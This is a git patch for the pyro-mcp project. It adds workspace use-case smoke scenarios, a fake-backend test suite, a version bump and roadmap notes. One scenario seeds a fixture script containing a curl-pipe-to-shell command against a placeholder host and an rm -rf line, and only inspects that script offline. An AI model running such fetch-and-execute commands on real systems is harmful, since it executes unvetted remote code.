workspaces, mutate them independently, " + "and verify isolation." + ), + ), + WorkspaceUseCaseRecipe( + scenario="untrusted-inspection", + title="Unsafe Or Untrusted Code Inspection", + profile="workspace-core", + smoke_target="smoke-untrusted-inspection", + doc_path="docs/use-cases/untrusted-inspection.md", + summary=( + "Inspect suspicious files offline-by-default, generate a report, and " + "export only explicit results." + ), + ), + WorkspaceUseCaseRecipe( + scenario="review-eval", + title="Review And Evaluation Workflows", + profile="workspace-full", + smoke_target="smoke-review-eval", + doc_path="docs/use-cases/review-eval-workflows.md", + summary=( + "Walk a checklist through a PTY shell, run an evaluation, export the " + "report, and reset to a checkpoint." + ), + ), +) + +_RECIPE_BY_SCENARIO: Final[dict[str, WorkspaceUseCaseRecipe]] = { + recipe.scenario: recipe for recipe in WORKSPACE_USE_CASE_RECIPES +} +ScenarioRunner = Callable[..., None] + + +def _write_text(path: Path, text: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text, encoding="utf-8") + + +def _log(message: str) -> None: + print(f"[smoke] {message}", flush=True) + + +def _create_workspace( + pyro: Pyro, + *, + environment: str, + seed_path: Path, + name: str, + labels: dict[str, str], + network_policy: str = "off", +) -> str: + created = pyro.create_workspace( + environment=environment, + seed_path=seed_path, + name=name, + labels=labels, + network_policy=network_policy, + ) + return str(created["workspace_id"]) + + +def _safe_delete_workspace(pyro: Pyro, workspace_id: str | None) -> None: + if workspace_id is None: + return + try: + pyro.delete_workspace(workspace_id) + except Exception: + return + + +def _scenario_cold_start_validation(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text( + seed_dir / "README.md", + "# cold-start validation\n\nRun `sh validate.sh` and keep `sh serve.sh` alive.\n", + ) + _write_text( + seed_dir / "validate.sh", + "#!/bin/sh\n" + "set -eu\n" + "printf '%s\\n' 'validation=pass' > validation-report.txt\n" + "printf '%s\\n' 'validated'\n", + ) + _write_text( + seed_dir / "serve.sh", + "#!/bin/sh\n" + "set -eu\n" + "printf '%s\\n' 'service started'\n" + "printf '%s\\n' 'service=ready' > service-state.txt\n" + "touch .app-ready\n" + "while true; do sleep 60; done\n", + ) + workspace_id: str | None = None + try: + workspace_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="cold-start-validation", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "cold-start-validation"}, + ) + _log(f"cold-start-validation workspace_id={workspace_id}") + validation = pyro.exec_workspace(workspace_id, command="sh validate.sh") + assert int(validation["exit_code"]) == 0, validation + assert str(validation["stdout"]) == "validated\n", validation + assert str(validation["execution_mode"]) == "guest_vsock", validation + service = pyro.start_service( + workspace_id, + "app", + command="sh serve.sh", + readiness={"type": "file", "path": ".app-ready"}, + ) + assert str(service["state"]) == "running", service + probe = pyro.exec_workspace( + workspace_id, + command="sh -lc 'test -f .app-ready && cat service-state.txt'", + ) + assert probe["stdout"] == "service=ready\n", probe + logs = pyro.logs_service(workspace_id, "app", tail_lines=20) + assert "service started" in str(logs["stdout"]), logs + export_path = export_dir / "validation-report.txt" + pyro.export_workspace(workspace_id, "validation-report.txt", output_path=export_path) + assert export_path.read_text(encoding="utf-8") == "validation=pass\n" + stopped = pyro.stop_service(workspace_id, "app") + assert str(stopped["state"]) == "stopped", stopped + finally: + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_repro_fix_loop(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text(seed_dir / "message.txt", "broken\n") + _write_text( + seed_dir / "check.sh", + "#!/bin/sh\n" + "set -eu\n" + "value=$(cat message.txt)\n" + "[ \"$value\" = \"fixed\" ] || {\n" + " printf 'expected fixed got %s\\n' \"$value\" >&2\n" + " exit 1\n" + "}\n" + "printf '%s\\n' \"$value\"\n", + ) + workspace_id: str | None = None + try: + workspace_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="repro-fix-loop", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "repro-fix-loop"}, + ) + _log(f"repro-fix-loop workspace_id={workspace_id}") + initial_read = pyro.read_workspace_file(workspace_id, "message.txt") + assert str(initial_read["content"]) == "broken\n", initial_read + failing = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(failing["exit_code"]) != 0, failing + patch = pyro.apply_workspace_patch( + workspace_id, + patch=( + "--- a/message.txt\n" + "+++ b/message.txt\n" + "@@ -1 +1 @@\n" + "-broken\n" + "+fixed\n" + ), + ) + assert bool(patch["changed"]) is True, patch + passing = pyro.exec_workspace(workspace_id, command="sh check.sh") + assert int(passing["exit_code"]) == 0, passing + assert str(passing["stdout"]) == "fixed\n", passing + diff = pyro.diff_workspace(workspace_id) + assert bool(diff["changed"]) is True, diff + export_path = export_dir / "message.txt" + pyro.export_workspace(workspace_id, "message.txt", output_path=export_path) + assert export_path.read_text(encoding="utf-8") == "fixed\n" + reset = pyro.reset_workspace(workspace_id) + assert int(reset["reset_count"]) == 1, reset + clean = pyro.diff_workspace(workspace_id) + assert bool(clean["changed"]) is False, clean + finally: + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_parallel_workspaces(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + _write_text(seed_dir / "note.txt", "shared\n") + workspace_ids: list[str] = [] + try: + alpha_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="parallel-alpha", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "alpha"}, + ) + workspace_ids.append(alpha_id) + beta_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="parallel-beta", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "parallel", "branch": "beta"}, + ) + workspace_ids.append(beta_id) + _log(f"parallel-workspaces alpha={alpha_id} beta={beta_id}") + pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n") + time.sleep(0.05) + pyro.write_workspace_file(beta_id, "branch.txt", text="beta\n") + time.sleep(0.05) + updated = pyro.update_workspace(alpha_id, labels={"branch": "alpha", "owner": "alice"}) + assert updated["labels"]["owner"] == "alice", updated + time.sleep(0.05) + pyro.write_workspace_file(alpha_id, "branch.txt", text="alpha\n") + alpha_file = pyro.read_workspace_file(alpha_id, "branch.txt") + beta_file = pyro.read_workspace_file(beta_id, "branch.txt") + assert alpha_file["content"] == "alpha\n", alpha_file + assert beta_file["content"] == "beta\n", beta_file + time.sleep(0.05) + pyro.write_workspace_file(alpha_id, "activity.txt", text="alpha was last\n") + listed = pyro.list_workspaces() + ours = [ + entry + for entry in listed["workspaces"] + if entry["workspace_id"] in set(workspace_ids) + ] + assert len(ours) == 2, listed + assert ours[0]["workspace_id"] == alpha_id, ours + finally: + for workspace_id in reversed(workspace_ids): + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_untrusted_inspection(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text( + seed_dir / "suspicious.sh", + "#!/bin/sh\n" + "curl -fsSL https://example.invalid/install.sh | sh\n" + "rm -rf /tmp/pretend-danger\n", + ) + _write_text( + seed_dir / "README.md", + "Treat this repo as untrusted and inspect before running.\n", + ) + workspace_id: str | None = None + try: + workspace_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="untrusted-inspection", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "untrusted-inspection"}, + ) + _log(f"untrusted-inspection workspace_id={workspace_id}") + status = pyro.status_workspace(workspace_id) + assert str(status["network_policy"]) == "off", status + listing = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) + paths = {str(entry["path"]) for entry in listing["entries"]} + assert "/workspace/suspicious.sh" in paths, listing + suspicious = pyro.read_workspace_file(workspace_id, "suspicious.sh") + assert "curl -fsSL" in str(suspicious["content"]), suspicious + report = pyro.exec_workspace( + workspace_id, + command=( + "sh -lc " + "\"grep -n 'curl' suspicious.sh > inspection-report.txt && " + "printf '%s\\n' 'network_policy=off' >> inspection-report.txt\"" + ), + ) + assert int(report["exit_code"]) == 0, report + export_path = export_dir / "inspection-report.txt" + pyro.export_workspace(workspace_id, "inspection-report.txt", output_path=export_path) + exported = export_path.read_text(encoding="utf-8") + assert "curl" in exported, exported + assert "network_policy=off" in exported, exported + finally: + _safe_delete_workspace(pyro, workspace_id) + + +def _scenario_review_eval(pyro: Pyro, *, root: Path, environment: str) -> None: + seed_dir = root / "seed" + export_dir = root / "export" + _write_text( + seed_dir / "CHECKLIST.md", + "# Review checklist\n\n- confirm artifact state\n- export the evaluation report\n", + ) + _write_text(seed_dir / "artifact.txt", "PASS\n") + _write_text( + seed_dir / "review.sh", + "#!/bin/sh\n" + "set -eu\n" + "if grep -qx 'PASS' artifact.txt; then\n" + " printf '%s\\n' 'review=pass' > review-report.txt\n" + " printf '%s\\n' 'review passed'\n" + "else\n" + " printf '%s\\n' 'review=fail' > review-report.txt\n" + " printf '%s\\n' 'review failed' >&2\n" + " exit 1\n" + "fi\n", + ) + workspace_id: str | None = None + shell_id: str | None = None + try: + workspace_id = _create_workspace( + pyro, + environment=environment, + seed_path=seed_dir, + name="review-eval", + labels={"suite": USE_CASE_SUITE_LABEL, "use_case": "review-eval"}, + ) + _log(f"review-eval workspace_id={workspace_id}") + baseline_snapshot = pyro.create_snapshot(workspace_id, "pre-review") + assert baseline_snapshot["snapshot"]["snapshot_name"] == "pre-review", baseline_snapshot + shell = pyro.open_shell(workspace_id) + shell_id = str(shell["shell_id"]) + initial = pyro.read_shell( + workspace_id, + shell_id, + cursor=0, + plain=True, + wait_for_idle_ms=300, + ) + pyro.write_shell(workspace_id, shell_id, input="cat CHECKLIST.md") + read = pyro.read_shell( + workspace_id, + shell_id, + cursor=int(initial["next_cursor"]), + plain=True, + wait_for_idle_ms=300, + ) + assert "Review checklist" in str(read["output"]), read + closed = pyro.close_shell(workspace_id, shell_id) + assert bool(closed["closed"]) is True, closed + shell_id = None + evaluation = pyro.exec_workspace(workspace_id, command="sh review.sh") + assert int(evaluation["exit_code"]) == 0, evaluation + pyro.write_workspace_file(workspace_id, "artifact.txt", text="FAIL\n") + reset = pyro.reset_workspace(workspace_id, snapshot="pre-review") + assert reset["workspace_reset"]["snapshot_name"] == "pre-review", reset + artifact = pyro.read_workspace_file(workspace_id, "artifact.txt") + assert artifact["content"] == "PASS\n", artifact + export_path = export_dir / "review-report.txt" + rerun = pyro.exec_workspace(workspace_id, command="sh review.sh") + assert int(rerun["exit_code"]) == 0, rerun + pyro.export_workspace(workspace_id, "review-report.txt", output_path=export_path) + assert export_path.read_text(encoding="utf-8") == "review=pass\n" + finally: + if shell_id is not None and workspace_id is not None: + try: + pyro.close_shell(workspace_id, shell_id) + except Exception: + pass + _safe_delete_workspace(pyro, workspace_id) + + +_SCENARIO_RUNNERS: Final[dict[str, ScenarioRunner]] = { + "cold-start-validation": _scenario_cold_start_validation, + "repro-fix-loop": _scenario_repro_fix_loop, + "parallel-workspaces": _scenario_parallel_workspaces, + "untrusted-inspection": _scenario_untrusted_inspection, + "review-eval": _scenario_review_eval, +} + + +def run_workspace_use_case_scenario( + scenario: str, + *, + environment: str = DEFAULT_USE_CASE_ENVIRONMENT, +) -> None: + if scenario not in USE_CASE_CHOICES: + expected = ", ".join(USE_CASE_CHOICES) + raise ValueError(f"unknown use-case scenario {scenario!r}; expected one of: {expected}") + + pyro = Pyro() + with tempfile.TemporaryDirectory(prefix="pyro-workspace-use-case-") as temp_dir: + root = Path(temp_dir) + scenario_names = USE_CASE_SCENARIOS if scenario == USE_CASE_ALL_SCENARIO else (scenario,) + for scenario_name in scenario_names: + recipe = _RECIPE_BY_SCENARIO[scenario_name] + _log(f"starting {recipe.scenario} ({recipe.title}) profile={recipe.profile}") + scenario_root = root / scenario_name + scenario_root.mkdir(parents=True, exist_ok=True) + runner = _SCENARIO_RUNNERS[scenario_name] + runner(pyro, root=scenario_root, environment=environment) + _log(f"completed {recipe.scenario}") + + +def build_arg_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser( + prog="workspace_use_case_smoke", + description="Run real guest-backed workspace use-case smoke scenarios.", + ) + parser.add_argument( + "--scenario", + choices=USE_CASE_CHOICES, + default=USE_CASE_ALL_SCENARIO, + help="Use-case scenario to run. Defaults to all scenarios.", + ) + parser.add_argument( + "--environment", + default=DEFAULT_USE_CASE_ENVIRONMENT, + help="Curated environment to use for the workspace scenarios.", + ) + return parser + + +def main() -> None: + args = build_arg_parser().parse_args() + run_workspace_use_case_scenario( + str(args.scenario), + environment=str(args.environment), + ) + + +if __name__ == "__main__": + main() diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index df83a80..f8010d3 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -730,8 +730,13 @@ def test_workspace_file_ops_and_patch_round_trip(tmp_path: Path) -> None: } ] + status_before_read = manager.status_workspace(workspace_id) read_payload = manager.read_workspace_file(workspace_id, "src/app.py") assert read_payload["content"] == 'print("bug")\n' + status_after_read = manager.status_workspace(workspace_id) + assert float(status_after_read["last_activity_at"]) == float( + status_before_read["last_activity_at"] + ) written = manager.write_workspace_file( workspace_id, diff --git a/tests/test_workspace_use_case_smokes.py b/tests/test_workspace_use_case_smokes.py new file mode 100644 index 0000000..5cd648c --- /dev/null +++ b/tests/test_workspace_use_case_smokes.py @@ -0,0 +1,509 @@ +from __future__ import annotations + +import shutil +import time as time_module +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, cast + +import pytest + +import pyro_mcp.workspace_use_case_smokes as smoke_module +from pyro_mcp.workspace_use_case_smokes import ( + USE_CASE_ALL_SCENARIO, + USE_CASE_CHOICES, + USE_CASE_SCENARIOS, + WORKSPACE_USE_CASE_RECIPES, + build_arg_parser, +) + + +def _repo_root() -> Path: + return Path(__file__).resolve().parents[1] + + +@dataclass +class _FakeShell: + cwd: str = "/workspace" + buffer: str = "" + cursor: int = 0 + closed: bool = False + + +@dataclass +class _FakeWorkspace: + workspace_id: str + root: Path + baseline_root: Path + environment: str + network_policy: str + name: str | None + labels: dict[str, str] + created_at: float + last_activity_at: float + reset_count: int = 0 + snapshots: dict[str, Path] = field(default_factory=dict) + services: dict[str, dict[str, Any]] = field(default_factory=dict) + shells: dict[str, _FakeShell] = field(default_factory=dict) + + +class _FakePyro: + def __init__(self, root: Path) -> None: + self._root = root + self._workspaces: dict[str, _FakeWorkspace] = {} + self._workspace_counter = 0 + self._shell_counter = 0 + self._clock = 0.0 + + def _tick(self) -> float: + self._clock += 1.0 + return self._clock + + def _workspace_dir(self, workspace_id: str) -> Path: + return self._root / workspace_id + + def _resolve_workspace(self, workspace_id: str) -> _FakeWorkspace: + return self._workspaces[workspace_id] + + def _workspace_path(self, workspace: _FakeWorkspace, path: str) -> Path: + if path.startswith("/workspace/"): + relative = path.removeprefix("/workspace/") + elif path == "/workspace": + relative = "" + else: + relative = path + return workspace.root / relative + + def _copy_tree_contents(self, source: Path, destination: Path) -> None: + destination.mkdir(parents=True, exist_ok=True) + for child in source.iterdir(): + target = destination / child.name + if child.is_dir(): + shutil.copytree(child, target) + else: + shutil.copy2(child, target) + + def _reset_tree(self, destination: Path, source: Path) -> None: + if destination.exists(): + shutil.rmtree(destination) + shutil.copytree(source, destination) + + def _diff_changed(self, workspace: _FakeWorkspace) -> bool: + current_paths = { + path.relative_to(workspace.root) + for path in workspace.root.rglob("*") + if path.is_file() + } + baseline_paths = { + path.relative_to(workspace.baseline_root) + for path in workspace.baseline_root.rglob("*") + if path.is_file() + } + if current_paths != baseline_paths: + return True + for relative in current_paths: + if ( + (workspace.root / relative).read_bytes() + != (workspace.baseline_root / relative).read_bytes() + ): + return True + return False + + def create_workspace( + self, + *, + environment: str, + seed_path: Path, + name: str | None = None, + labels: dict[str, str] | None = None, + network_policy: str = "off", + ) -> dict[str, Any]: + self._workspace_counter += 1 + workspace_id = f"ws-{self._workspace_counter}" + workspace_dir = self._workspace_dir(workspace_id) + workspace_root = workspace_dir / "workspace" + baseline_root = workspace_dir / "baseline" + self._copy_tree_contents(Path(seed_path), workspace_root) + self._copy_tree_contents(Path(seed_path), baseline_root) + stamp = self._tick() + workspace = _FakeWorkspace( + workspace_id=workspace_id, + root=workspace_root, + baseline_root=baseline_root, + environment=environment, + network_policy=network_policy, + name=name, + labels=dict(labels or {}), + created_at=stamp, + last_activity_at=stamp, + ) + workspace.snapshots["baseline"] = baseline_root + self._workspaces[workspace_id] = workspace + return {"workspace_id": workspace_id} + + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._workspaces.pop(workspace_id) + shutil.rmtree(self._workspace_dir(workspace.workspace_id), ignore_errors=True) + return {"workspace_id": workspace_id, "deleted": True} + + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + return { + "workspace_id": workspace_id, + "network_policy": workspace.network_policy, + "name": workspace.name, + "labels": dict(workspace.labels), + "last_activity_at": workspace.last_activity_at, + } + + def update_workspace(self, workspace_id: str, *, labels: dict[str, str]) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + workspace.labels.update(labels) + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "labels": dict(workspace.labels)} + + def list_workspaces(self) -> dict[str, Any]: + workspaces = sorted( + self._workspaces.values(), + key=lambda item: (-item.last_activity_at, -item.created_at, item.workspace_id), + ) + return { + "count": len(workspaces), + "workspaces": [ + { + "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "state": "started", + "created_at": workspace.created_at, + "last_activity_at": workspace.last_activity_at, + "expires_at": workspace.created_at + 3600, + "command_count": 0, + "service_count": len(workspace.services), + "running_service_count": sum( + 1 + for service in workspace.services.values() + if service["state"] == "running" + ), + } + for workspace in workspaces + ], + } + + def exec_workspace(self, workspace_id: str, *, command: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + root = workspace.root + stdout = "" + stderr = "" + exit_code = 0 + if command == "sh validate.sh": + (root / "validation-report.txt").write_text("validation=pass\n", encoding="utf-8") + stdout = "validated\n" + elif command == "sh check.sh": + value = (root / "message.txt").read_text(encoding="utf-8").strip() + if value == "fixed": + stdout = "fixed\n" + else: + stderr = f"expected fixed got {value}\n" + exit_code = 1 + elif command == "sh -lc 'test -f .app-ready && cat service-state.txt'": + stdout = (root / "service-state.txt").read_text(encoding="utf-8") + elif "inspection-report.txt" in command: + suspicious = (root / "suspicious.sh").read_text(encoding="utf-8").splitlines() + report_lines = [ + f"{index}:curl" + for index, line in enumerate(suspicious, start=1) + if "curl" in line + ] + report_lines.append("network_policy=off") + (root / "inspection-report.txt").write_text( + "\n".join(report_lines) + "\n", + encoding="utf-8", + ) + elif command == "sh review.sh": + artifact = (root / "artifact.txt").read_text(encoding="utf-8").strip() + if artifact == "PASS": + (root / "review-report.txt").write_text("review=pass\n", encoding="utf-8") + stdout = "review passed\n" + else: + (root / "review-report.txt").write_text("review=fail\n", encoding="utf-8") + stderr = "review failed\n" + exit_code = 1 + else: + raise AssertionError(f"unexpected exec command: {command}") + workspace.last_activity_at = self._tick() + return { + "workspace_id": workspace_id, + "exit_code": exit_code, + "stdout": stdout, + "stderr": stderr, + "execution_mode": "guest_vsock", + } + + def start_service( + self, + workspace_id: str, + service_name: str, + *, + command: str, + readiness: dict[str, Any] | None = None, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + if command == "sh serve.sh": + (workspace.root / "service-state.txt").write_text("service=ready\n", encoding="utf-8") + (workspace.root / ".app-ready").write_text("", encoding="utf-8") + stdout = "service started\n" + else: + stdout = "" + workspace.services[service_name] = { + "state": "running", + "stdout": stdout, + "readiness": readiness, + } + workspace.last_activity_at = self._tick() + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "command": command, + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": readiness, + } + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int = 200, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + service = workspace.services[service_name] + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": service["state"], + "stdout": service["stdout"], + "stderr": "", + "tail_lines": tail_lines, + "truncated": False, + } + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + workspace.services[service_name]["state"] = "stopped" + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "service_name": service_name, "state": "stopped"} + + def list_workspace_files( + self, workspace_id: str, *, path: str = "/workspace", recursive: bool = False + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = self._workspace_path(workspace, path) + entries: list[dict[str, Any]] = [] + iterable = target.rglob("*") if recursive else target.iterdir() + for entry in iterable: + artifact_type = "directory" if entry.is_dir() else "file" + entries.append( + { + "path": f"/workspace/{entry.relative_to(workspace.root)}", + "artifact_type": artifact_type, + "size_bytes": entry.stat().st_size if entry.is_file() else 0, + "link_target": None, + } + ) + return {"workspace_id": workspace_id, "entries": entries} + + def read_workspace_file(self, workspace_id: str, path: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = self._workspace_path(workspace, path) + content = target.read_text(encoding="utf-8") + return {"workspace_id": workspace_id, "path": path, "content": content} + + def write_workspace_file(self, workspace_id: str, path: str, *, text: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = self._workspace_path(workspace, path) + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(text, encoding="utf-8") + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "path": path, "bytes_written": len(text.encode())} + + def apply_workspace_patch(self, workspace_id: str, *, patch: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + target = workspace.root / "message.txt" + original = target.read_text(encoding="utf-8") + updated = original.replace("broken\n", "fixed\n") + target.write_text(updated, encoding="utf-8") + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "changed": updated != original, "patch": patch} + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + return {"workspace_id": workspace_id, "changed": self._diff_changed(workspace)} + + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: Path, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + source = self._workspace_path(workspace, path) + output_path = Path(output_path) + output_path.parent.mkdir(parents=True, exist_ok=True) + if source.is_dir(): + shutil.copytree(source, output_path) + artifact_type = "directory" + else: + shutil.copy2(source, output_path) + artifact_type = "file" + return { + "workspace_id": workspace_id, + "workspace_path": path, + "output_path": str(output_path), + "artifact_type": artifact_type, + } + + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + snapshot_root = self._workspace_dir(workspace_id) / f"snapshot-{snapshot_name}" + self._reset_tree(snapshot_root, workspace.root) + workspace.snapshots[snapshot_name] = snapshot_root + return { + "workspace_id": workspace_id, + "snapshot": {"snapshot_name": snapshot_name, "kind": "named"}, + } + + def reset_workspace(self, workspace_id: str, *, snapshot: str = "baseline") -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + source = workspace.snapshots[snapshot] + self._reset_tree(workspace.root, source) + workspace.reset_count += 1 + workspace.last_activity_at = self._tick() + return { + "workspace_id": workspace_id, + "reset_count": workspace.reset_count, + "workspace_reset": {"snapshot_name": snapshot}, + } + + def open_shell(self, workspace_id: str, **_: Any) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + self._shell_counter += 1 + shell_id = f"shell-{self._shell_counter}" + workspace.shells[shell_id] = _FakeShell() + return {"workspace_id": workspace_id, "shell_id": shell_id, "state": "running"} + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + plain: bool = False, + wait_for_idle_ms: int | None = None, + ) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + shell = workspace.shells[shell_id] + output = shell.buffer[cursor:] + next_cursor = len(shell.buffer) + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cursor": cursor, + "next_cursor": next_cursor, + "output": output, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, + "truncated": False, + } + + def write_shell(self, workspace_id: str, shell_id: str, *, input: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + shell = workspace.shells[shell_id] + if input == "cat CHECKLIST.md": + shell.buffer += (workspace.root / "CHECKLIST.md").read_text(encoding="utf-8") + workspace.last_activity_at = self._tick() + return {"workspace_id": workspace_id, "shell_id": shell_id} + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + workspace = self._resolve_workspace(workspace_id) + workspace.shells.pop(shell_id, None) + return {"workspace_id": workspace_id, "shell_id": shell_id, "closed": True} + + +def test_use_case_registry_has_expected_scenarios() -> None: + expected = ( + "cold-start-validation", + "repro-fix-loop", + "parallel-workspaces", + "untrusted-inspection", + "review-eval", + ) + assert USE_CASE_SCENARIOS == expected + assert USE_CASE_CHOICES == expected + (USE_CASE_ALL_SCENARIO,) + assert tuple(recipe.scenario for recipe in WORKSPACE_USE_CASE_RECIPES) == expected + + +def test_use_case_docs_and_targets_stay_aligned() -> None: + repo_root = _repo_root() + index_text = (repo_root / "docs" / "use-cases" / "README.md").read_text(encoding="utf-8") + makefile_text = (repo_root / "Makefile").read_text(encoding="utf-8") + for recipe in WORKSPACE_USE_CASE_RECIPES: + assert (repo_root / recipe.doc_path).is_file(), recipe.doc_path + recipe_text = (repo_root / recipe.doc_path).read_text(encoding="utf-8") + assert recipe.smoke_target in index_text + assert recipe.doc_path.rsplit("/", 1)[-1] in index_text + assert recipe.profile in recipe_text + assert recipe.smoke_target in recipe_text + assert f"{recipe.smoke_target}:" in makefile_text + + +def test_use_case_parser_exposes_all_scenarios() -> None: + parser = build_arg_parser() + scenario_action = next( + action for action in parser._actions if getattr(action, "dest", None) == "scenario" + ) + choices = cast(tuple[Any, ...], scenario_action.choices) + assert tuple(choices) == USE_CASE_CHOICES + + +def test_run_all_use_case_scenarios_with_fake_pyro( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + fake_pyro = _FakePyro(tmp_path / "fake-pyro") + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + + smoke_module.run_workspace_use_case_scenario("all") + + assert fake_pyro._workspaces == {} + + +def test_run_workspace_use_case_scenario_rejects_unknown() -> None: + with pytest.raises(ValueError, match="unknown use-case scenario"): + smoke_module.run_workspace_use_case_scenario("not-a-scenario") + + +def test_main_runs_selected_scenario(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None: + fake_pyro = _FakePyro(tmp_path / "fake-pyro-main") + monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) + monkeypatch.setattr(time_module, "sleep", lambda _seconds: None) + monkeypatch.setattr( + "sys.argv", + [ + "workspace_use_case_smoke", + "--scenario", + "repro-fix-loop", + "--environment", + "debian:12", + ], + ) + + smoke_module.main() + + assert fake_pyro._workspaces == {} diff --git a/uv.lock b/uv.lock index 383d764..4bcd624 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.5.0" +version = "3.6.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 788fc4fad4a9de81388aa50ea7772799c1003c52 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 10:44:44 -0300 Subject: [PATCH 31/49] Add second-pass chat UX milestones Extend the chat-ergonomics roadmap with the remaining UX work highlighted by the readiness review. Document a second pass focused on removing shell glue from canonical CLI handoff flows, making the recommended chat-host profile more obvious without changing 3.x compatibility defaults, and polishing human-mode content reads for cleaner transcripts and copy-paste behavior. Keep these milestones explicitly workspace-first and scoped to product UX, with CLI-only shortcuts allowed where the SDK and MCP surfaces already provide the structured behavior natively. --- docs/roadmap/llm-chat-ergonomics.md | 28 +++++++++- ...andoff-shortcuts-and-file-input-sources.md | 48 +++++++++++++++++ ...at-host-onramp-and-recommended-defaults.md | 51 +++++++++++++++++++ ...tent-only-reads-and-human-output-polish.md | 50 ++++++++++++++++++ 4 files changed, 176 insertions(+), 1 deletion(-) create mode 100644 docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md create mode 100644 docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 6725c3c..8f7e43f 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -33,13 +33,24 @@ More concretely, the model should not need to: - choose from an unnecessarily large tool surface when a smaller profile would work +The remaining UX friction for a technically strong new user is now narrower: + +- the best chat-host profile is recommended in docs, but not yet obvious enough + from the default live `mcp serve` path +- canonical CLI walkthroughs still need small amounts of shell glue such as + `python -c` extraction of `workspace_id` and `$(cat fix.patch)` expansion +- human-mode file reads are functional, but still need final transcript polish + for copy-paste and chat logs + ## Locked Decisions - keep the workspace product identity central; do not drift toward CI, queue, or runner abstractions - keep disk tools secondary and do not make them the main chat-facing surface - prefer narrow tool profiles and structured outputs over more raw shell calls -- every milestone below must update CLI, SDK, and MCP together +- capability milestones should update CLI, SDK, and MCP together +- CLI-only ergonomics are allowed when the SDK and MCP surfaces already have the + structured behavior natively - every milestone below must also update docs, help text, runnable examples, and at least one real smoke scenario @@ -50,6 +61,9 @@ 